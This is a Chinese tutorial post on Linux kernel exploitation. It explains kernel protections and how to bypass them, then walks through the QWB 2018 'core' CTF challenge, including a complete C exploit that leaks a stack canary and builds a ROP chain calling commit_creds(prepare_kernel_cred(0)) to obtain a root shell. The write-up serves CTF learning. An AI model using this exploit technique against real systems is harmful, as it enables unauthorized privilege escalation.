内核保护
通用保护
KASLR
KASLR即(kernel address space layout randomize)内核地址空间随机化与用户台下的ASLR有着相同的作用,在内核镜像装载地址加上一个正偏移值(颗粒度为256MB)。内核的装载也是整体的,即泄漏一个内核地址即可通过偏移找到内核基址和了解内核排布。
在没开启KASLR的情况下的x86_64架构,内核通常会加载到较高的地址空间,比如0xffffffff80000000附近。Linux将内核固定加载到0xffffffff81000000。我们可用泄露一个内核地址(如读取/proc/kallsyms)减去未偏移的地址得到offset(读取vmlinux),得到开启KASLR地址的内核基址。real_kernel_base=0xffffffff81000000+offset。
STACK PROTECTOR
和用户态canary有相同的作用即防止堆栈溢出,与canary不同的是STACK PROTECTOR的取值来自GS寄存器固定偏移处,发生内核堆栈溢出则会产生 kernel panic。
SMAP/SMEP
SMAP即管理模式访问保护(Supervisor Mode Access Prevention),SMEP 即管理模式执行保护(Supervisor Mode Execution Prevention),前者防止内核空间读取用户态地址数据,后者防止内核空间秩序用户空间的数据。
开启SMAP,内核不能读取用户空间数据,在执行copy_to_user和copy_from_user时会暂时关闭SMAP,SMAP的开启和关闭与CR4寄存器的第21位相关,也可以通过ROP或其他防止关闭从而绕过。
开启SMEP后,内核不能执行用户态的数据,当内核执行流被控制从内核态返回用户态时(swapgs +iretq)CPU会报错,使得ret2usr(通过内核执行提权函数后返回用户空间执行system)失效,SMEP的开启与CR4寄存器的第20位有关,也可以使该位置0达到关闭SMEP绕过。
KPTI
KPTI(Kernel page-table isolation)即内核页表隔离,在正常情况下内核空间和用户空间的内存映射同时存在,用户空间可以通过访问对应的地址来访问内核空间。开启KPTI后,内核空间和用户空间会分别使用两个不同的页表,在内核状态下中存在完整的程序映射,包括用户空间,但是在内核状态下用户空间映射部分没有可以执行权限。在用户状态下只会留下一小部分内核映射保证完成系统调用等操作。
堆保护
Hardened freelist
Hardened freelist和用户态glibc2.32后在tcache bin添加的safelink一样,object(内核堆中的基本单位,可以理解为用户态的chunk,但是结构不一样)中next记录下一个object的地址不再是明文,而是异或后的数值,该数值计算公式如下。
free object 的地址 ^ 下一个 free object 的地址 ^ kmem_cache 指定的一个 random 值
如果可以通过UAF或栈溢出泄露一个object的两个地址
- 该object位于freelist末尾next(object addr^0^random)
- 该object不在freelist末尾的next(object addr^next object addr^random)
相异或(object addr^0^random)^(object addr^next object addr^random)得到next即可泄露next object addr的地址。
Random freelist
在用户态中,bin的排序是有固定顺序的的,如fastbin,tcachebin后进先出,largebin先进先出等,内核态的堆也是如此,导致漏洞利用过于简单。启用Random freelist后会使得堆的排序不是线性连续的。
可以利用堆喷绕过

遇到再写。。。。
前置知识
/proc目录
该目录是一个虚拟文件系统,在内核pwn提供的cpio文件系统文件中可以看到其大小为0kb。

通过在init文件的命令来挂在到磁盘中
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
-t proc表示指定文件系统类型是 proc,即虚拟的进程文件系统。Linux内核通过该文件提供了有关正在运行的内核、进程、系统硬件和其他系统资源当前状态的详细信息,以文件的形式提供了访问内核数据的接口。
你也可以自己挂载一个proc类型的文件夹,该文件夹与proc文件夹显示的内容一样,都调用了内核接口显示内核信息。

在proc目录下/proc/kallsyms(kernel all symbols)记录着所有内核函数的地址,可以读取其获取kernal基址和指定内核函数地址从而绕过KASLR,该文件受到/proc/sys/kernel/kptr_restrict限制该文件中分为下列三种情况
- 0:表示root用户和普通用户都可以读取/proc/kallsyms文件。
- 1:表示root用户可以读取/proc/kallsyms文件,普通用户则无权限
- 2:表示root用户和普通用户都不可以读取/proc/kallsyms文件。
/proc/kmsg是dmesg的底层实现,用来储存内核信息。
/proc/sys/kernel/dmesg_restrict和上述一样,用来限制用户执行dmesg命令获取系统信息。
- 0:表示没有限制,任何用户都可以查看内核日志(执行dmesg)。
- 1:表示限制访问,只有root用户或具有适当权限的用户才能访问内核日志。
特权级的转换基本流程
以syscall为例,可以参考这篇文章,讲得非常好,唯一的缺点就是太深入了听不懂(我太菜了)😭。省脑子版:
MSR寄存器
MSR是CPU的一组64位寄存器,可以分别通过RDMSR和WRMSR 两条指令进行读和写的操作,RDMSR和WRMSR会根据存放在rcx的地址寻找对应MSR寄存器写入/读取(rdx:rax)。
在x86下有如下几种MSR寄存器
- IA32_KERNEL_GS_BASE — 用于交换GS寄存器的值
- IA32_LSTAR — 记录syscall函数的地址
- IA32_FMASK — 用于和rflags进行异或得到内核态下的rflags
- IA32_STAR — 储存SS和CS寄存器
GS寄存器在内核态专门用来引用percpu变量,特权级发生转换时要切换。
特权级的转换汇编如下
ENTRY(entry_SYSCALL_64)
/* SWAPGS_UNSAFE_STACK是一个宏,x86直接定义为swapgs指令 */
SWAPGS_UNSAFE_STACK
/* 保存栈值,并设置内核栈 */
movq %rsp, PER_CPU_VAR(rsp_scratch)
movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp
/* 通过push保存寄存器值,形成一个pt_regs结构 */
/* Construct struct pt_regs on stack */
pushq $__USER_DS /* pt_regs->ss */
pushq PER_CPU_VAR(rsp_scratch) /* pt_regs->sp */
pushq %r11 /* pt_regs->flags */
pushq $__USER_CS /* pt_regs->cs */
pushq %rcx /* pt_regs->ip */
pushq %rax /* pt_regs->orig_ax */
pushq %rdi /* pt_regs->di */
pushq %rsi /* pt_regs->si */
pushq %rdx /* pt_regs->dx */
pushq %rcx tuichu /* pt_regs->cx */
pushq $-ENOSYS /* pt_regs->ax */
pushq %r8 /* pt_regs->r8 */
pushq %r9 /* pt_regs->r9 */
pushq %r10 /* pt_regs->r10 */
pushq %r11 /* pt_regs->r11 */
sub $(6*8), %rsp /* pt_regs->bp, bx, r12-15 not saved */
- 把返回地址存入rcx ,IA32_LSTAR MSR(syscall)寄存器里的值赋值到rip。
- 执行swapgs让当前GS寄存器与IA32_KERNEL_GS_BASE交换数值
- 保存用户栈并加载内核栈
- 保存现场(用户态rflag存储在r11寄存器,rcx存储返回地址)
- rflags与IA32_FMASK 进行异或
- 将IA32_STAR第32~47位加载到当前CS 和SS 段寄存器。
ioctl
ioctl 是一个专用于设备输入输出操作的一个系统调用,用于和设备之间的通信
int ioctl(int fd, unsigned long request, ...)
用户PWN和内核PWN的区别
Exploit方面
用户态下,通过栈溢出,格式化字符串,堆溢出,堆风水等方式来执行system("/bin/sh")或ORW等获取shell或读取flag。
内核态下,需要劫持进程权限凭证,每个进程在创建时用结构体 task_struct 表示一个进程,在task_struct 结构体里存在cred 的结构体
展开:cred结构体
struct cred {
atomic_long_t usage;
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct ucounts *ucounts;
struct group_info *group_info; /* supplementary groups for euid/fsgid */
/* RCU deletion */
union {
int non_rcu; /* Can we skip RCU deletion? */
struct rcu_head rcu; /* RCU deletion hook */
};
} __randomize_layout;
该结构体记录着各个进程的权限,只要将带有root权限的cred结构体复制到本进程后再用户态起一个shell即可得到root权限。
在内核中存在函数prepare_kernel_cred和commit_creds。
展开:二者源码如下
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
const struct cred *old;
struct cred *new;
if (WARN_ON_ONCE(!daemon))
return NULL;
new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;
kdebug("prepare_kernel_cred() alloc %p", new);
old = get_task_cred(daemon);
*new = *old;
new->non_rcu = 0;
atomic_long_set(&new->usage, 1);
get_uid(new->user);
get_user_ns(new->user_ns);
get_group_info(new->group_info);
#ifdef CONFIG_KEYS
new->session_keyring = NULL;
new->process_keyring = NULL;
new->thread_keyring = NULL;
new->request_key_auth = NULL;
new->jit_keyring = KEY_REQKEY_DEFL_THREAD_KEYRING;
#endif
#ifdef CONFIG_SECURITY
new->security = NULL;
#endif
new->ucounts = get_ucounts(new->ucounts);
if (!new->ucounts)
goto error;
if (security_prepare_creds(new, old, GFP_KERNEL_ACCOUNT) < 0)
goto error;
put_cred(old);
return new;
error:
put_cred(new);
put_cred(old);
return NULL;
}
int commit_creds(struct cred *new)
{
struct task_struct *task = current;
const struct cred *old = task->real_cred;
kdebug("commit_creds(%p{%ld})", new,
atomic_long_read(&new->usage));
BUG_ON(task->cred != old);
BUG_ON(atomic_long_read(&new->usage) < 1);
get_cred(new); /* we will require a ref for the subj creds too */
/* dumpability changes */
if (!uid_eq(old->euid, new->euid) ||
!gid_eq(old->egid, new->egid) ||
!uid_eq(old->fsuid, new->fsuid) ||
!gid_eq(old->fsgid, new->fsgid) ||
!cred_cap_issubset(old, new)) {
if (task->mm)
set_dumpable(task->mm, suid_dumpable);
task->pdeath_signal = 0;
/*
* If a task drops privileges and becomes nondumpable,
* the dumpability change must become visible before
* the credential change; otherwise, a __ptrace_may_access()
* racing with this change may be able to attach to a task it
* shouldn't be able to attach to (as if the task had dropped
* privileges without becoming nondumpable).
* Pairs with a read barrier in __ptrace_may_access().
*/
smp_wmb();
}
/* alter the thread keyring */
if (!uid_eq(new->fsuid, old->fsuid))
key_fsuid_changed(new);
if (!gid_eq(new->fsgid, old->fsgid))
key_fsgid_changed(new);
/* do it
* RLIMIT_NPROC limits on user->processes have already been checked
* in set_user().
*/
if (new->user != old->user || new->user_ns != old->user_ns)
inc_rlimit_ucounts(new->ucounts, UCOUNT_RLIMIT_NPROC, 1);
rcu_assign_pointer(task->real_cred, new);
rcu_assign_pointer(task->cred, new);
if (new->user != old->user || new->user_ns != old->user_ns)
dec_rlimit_ucounts(old->ucounts, UCOUNT_RLIMIT_NPROC, 1);
/* send notifications */
if (!uid_eq(new->uid, old->uid) ||
!uid_eq(new->euid, old->euid) ||
!uid_eq(new->suid, old->suid) ||
!uid_eq(new->fsuid, old->fsuid))
proc_id_connector(task, PROC_EVENT_UID);
if (!gid_eq(new->gid, old->gid) ||
!gid_eq(new->egid, old->egid) ||
!gid_eq(new->sgid, old->sgid) ||
!gid_eq(new->fsgid, old->fsgid))
proc_id_connector(task, PROC_EVENT_GID);
/* release the old obj and subj refs both */
put_cred_many(old, 2);
return 0;
}
- prepare_kernel_cred的参数为一个task_struct结构体功能是拷贝指定进程的cred结构体并返回(rax)
- commit_creds的参数是一个cred结构体,作用是将指定cred结构体赋值到当前进程。
在低版本的内核pwn目的是在内核空间执行commit_creds(prepare_kernel_cred(0)),如果prepare_kernel_cred的参数为0或NULL会被解释成init进程,init为linux的0号进程,具有root权限,将其cred结构体应用到本进程后在用户空间起shell则获取root权限。
在高版本内核中,prepare_kernel_cred(0)会分配失败,此时我们就要去寻找具有root权限的进程的task_struct 结构体地址传入prepare_kernel_cred执行commit_creds(prepare_kernel_cred(&root_process))
程序方面
在用户pwn中会给出一个带有漏洞的程序,需要我们利用该漏洞来getshell,该情况下是根据远程传输我们对远程程序的交互来完成的,不能写入任意函数。
在内核pwn中会给出一套Linux文件系统(core.cpio),一个启动qemu脚本(start.sh),一个(Linux内核)vmlinux/bzimage(压缩的Linux内核,需要用extract-vmlinux获取vmlinux)。
- start.sh记录了虚拟机分配的内存,开启的保护等内容。
- 在文件系统中会存在一个init表示启动该虚拟机初始化的操作,通常情况下会插入一个带有漏洞的ko程序(基于可装载内核模块(Loadable Kernel Modules,简称 LKMs)),实际上是我们对该内核模块进行交互攻击得到root的进程权限凭证返回用户空间执行system("/bin/sh")得到root权限,该情况下根据我们编写的exp远程传输到靶机上执行,我们可用对exp进行任意编写,包括直接执行system("/bin/sh")但是前提是我们在内核空间获取root凭证。
- 内核文件可供我们寻找对应的gadget使用
函数方面
内核态和用户态使用的函数并不完全一样,但是可以用等价的概念去记(
- printf() = printk(),注意printk不一定会输出到终端,而是内核信息处(用dmesg查看)
- memcpy() =
copy_from_user(void *to, const void __user *from, unsigned long n):从用户空间拷贝数据到内核空间,其中to为内核空间缓冲区地址,from为用户空间缓冲区地址,n为拷贝字节数。
copy_to_user(void __user *to, const void *from, unsigned long n):从内核空间拷贝数据到用户空间,其中to为用户空间缓冲区地址,from为内核空间缓冲区地址,n为拷贝字节数。 - malloc() = kmalloc()
- free() = kfree()
内核ROP
以强网杯 2018 - core为例(老演员了),给了core.cpio,start.sh,vmlinux

使用cpio -idm <./core.cpio获得文件系统

查看init文件,虽然将/proc/sys/kernel/kptr_restrict值1但是把/proc/kallsyms保存到了/tmp目录下,可以查看内核符号表。

查看core.ko保护,发现开启了STACK PROTECTOR。

ko文件进行插入(insmod)的时候会执行module_init注册的函数,core.ko创建了一个proc

卸载时会执行module_exit注册的函数

在proc_create的第四个参数注册了三个函数,分别在读取(write),io控制(ioctl),关闭(close)时触发。

在ioctl函数中有以下两个函数,以第二个参数为选择项。在case 0x6677889C中可以控制off

在core_read函数有栈任意地址读取,可以泄露canary。

在core_copy_func中存在栈溢出,a1为int型,只要最高位为1即可绕过检查,qmemcpy中类型转换为int16.

在core_write中可以控制name的值

思路如下
- 保存用户态环境
- 读取kallsyms得到commit_creds,prepare_kernel_cred和gadget的地址,并计算内核基址。
- 通过case 0x6677889C中可以控制off
- 在core_read读取canary
- 构造rop链,通过core_write将rop链写入name中
- 通过core_copy_func进行栈溢出执行commit_creds(prepare_kernel_cred(0))后返回用户空间执行system("/bin/sh")
保存环境
void save_status()
{
asm volatile(
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_rsp,rsp;"
"pushf;"
"pop user_rflags;"
);
}
读取符号
FILE * kernel_symbol=fopen("/tmp/kallsyms","r");
if (kernel_symbol==NULL)
{
puts("kernel symbol open faild");
exit(0);
}
while(fscanf(kernel_symbol,"%lx %s %s",&addr,type,name))
{
if (commit_creds&&prepare_kernel_cred)
{
break;
}
if (!strcmp(name,"commit_creds"))
{
commit_creds=addr;
continue;
}
if (!strcmp(name,"prepare_kernel_cred"))
{
prepare_kernel_cred=addr;
continue;
}
};
泄露canary
void set_off(int fd)
{
ioctl(fd,0x6677889C,0x40);
}
set_off(fd);
ioctl(fd,0x6677889B,off);
size_t canary=(size_t*)off[0];
构造rop链注意COMMIT_CREDS是在没开启KASLR时的地址,commit_creds是查看kallsyms得到的地址,二者相减即可得到KASLR的offset。
prepare_kernel_cred的返回值存在在rax中,需要一个gadget mov rdi,rax; ret/jmp,合适即可,我这里选择mov rdi,rax; jmp rcx。结束commit_creds(prepare_kernel_cred(0))直接返回get_root函数地址
void get_root()
{
if(getuid())
{
puts("error to get root");
exit(0);
}
system("/bin/sh");
}
size_t kernel_offset=commit_creds-COMMIT_CREDS;
size_t kernel_base=raw_kerner_base+kernel_offset;
size_t pop_rdi_ret=kernel_base+0x0b2f;
size_t pop_rcx_ret=kernel_base+0x21e53;
size_t mov_rdi_rax_jump_rcx=kernel_base+0x1ae978;
size_t swapgs_popfq_ret=kernel_base+0xa012da;
size_t iretq_ret=kernel_base+0x050ac2;
rop[a++]=pop_rdi_ret;
rop[a++]=0;
rop[a++]=prepare_kernel_cred;
rop[a++]=pop_rcx_ret;
rop[a++]=commit_creds;
rop[a++]=mov_rdi_rax_jump_rcx;
rop[a++]=swapgs_popfq_ret;
rop[a++]=0;
rop[a++]=iretq_ret;
rop[a++]=(size_t)get_root;
rop[a++]=user_cs;
rop[a++]=user_rflags;
rop[a++]=user_rsp;
rop[a++]=user_ss;
完整exp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
size_t commit_creds=0;
size_t prepare_kernel_cred=0;
#define COMMIT_CREDS 0xffffffff8109c8e0
#define raw_kerner_base 0xffffffff81000000
size_t user_cs,user_rflags,user_ss,user_rsp;
size_t kernel_offset=0;
void save_status()
{
asm volatile(
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_rsp,rsp;"
"pushf;"
"pop user_rflags;"
);
}
void success()
{
printf("commit_creds=%lx\nprepare_kernel_cred=%lx\n",commit_creds,prepare_kernel_cred);
}
void set_off(int fd)
{
ioctl(fd,0x6677889C,0x40);
}
void get_root()
{
if(getuid())
{
puts("error to get root");
exit(0);
}
system("/bin/sh");
}
int main()
{
size_t rop[0x100]={0};
size_t addr;
char name[100],type[100];
save_status();
size_t off[256];
int fd;
fd=open("/proc/core",O_RDWR);
set_off(fd);
ioctl(fd,0x6677889B,off);
size_t canary=(size_t*)off[0];
FILE * kernel_symbol=fopen("/tmp/kallsyms","r");
if (kernel_symbol==NULL)
{
puts("kernel symbol open faild");
exit(0);
}
while(fscanf(kernel_symbol,"%lx %s %s",&addr,type,name))
{
if (commit_creds&&prepare_kernel_cred)
{
break;
}
if (!strcmp(name,"commit_creds"))
{
commit_creds=addr;
continue;
}
if (!strcmp(name,"prepare_kernel_cred"))
{
prepare_kernel_cred=addr;
continue;
}
};
int a;
for( a=0;a<10;a++)
{
rop[a]=canary;
}
size_t kernel_offset=commit_creds-COMMIT_CREDS;
size_t kernel_base=raw_kerner_base+kernel_offset;
size_t pop_rdi_ret=kernel_base+0x0b2f;
size_t pop_rcx_ret=kernel_base+0x21e53;
size_t mov_rdi_rax_jump_rcx=kernel_base+0x1ae978;
size_t swapgs_popfq_ret=kernel_base+0xa012da;
size_t iretq_ret=kernel_base+0x050ac2;
rop[a++]=pop_rdi_ret;
rop[a++]=0;
rop[a++]=prepare_kernel_cred;
rop[a++]=pop_rcx_ret;
rop[a++]=commit_creds;
rop[a++]=mov_rdi_rax_jump_rcx;
rop[a++]=swapgs_popfq_ret;
rop[a++]=0;
rop[a++]=iretq_ret;
rop[a++]=(size_t)get_root;
rop[a++]=user_cs;
rop[a++]=user_rflags;
rop[a++]=user_rsp;
rop[a++]=user_ss;
printf("canary----->%lx\n",canary);
success();
write(fd,rop,0x100);
ioctl(fd,0x6677889A,(size_t)0xffffffff00000000|sizeof(rop)/8);
return 0;
}
说一下我做题时遇到的坑
- 调试时b copy_write时没反应可以是在open时没给写权限 fd=open("/proc/core","r");改成fd=open("/proc/core",O_RDWR);即可
- 调试的时候总是会qemu总是重启,不要一直用n,用s步入即可,遇到call再用n步过(虽然有点麻烦但目前没什么好方法解决)
Comments NOTHING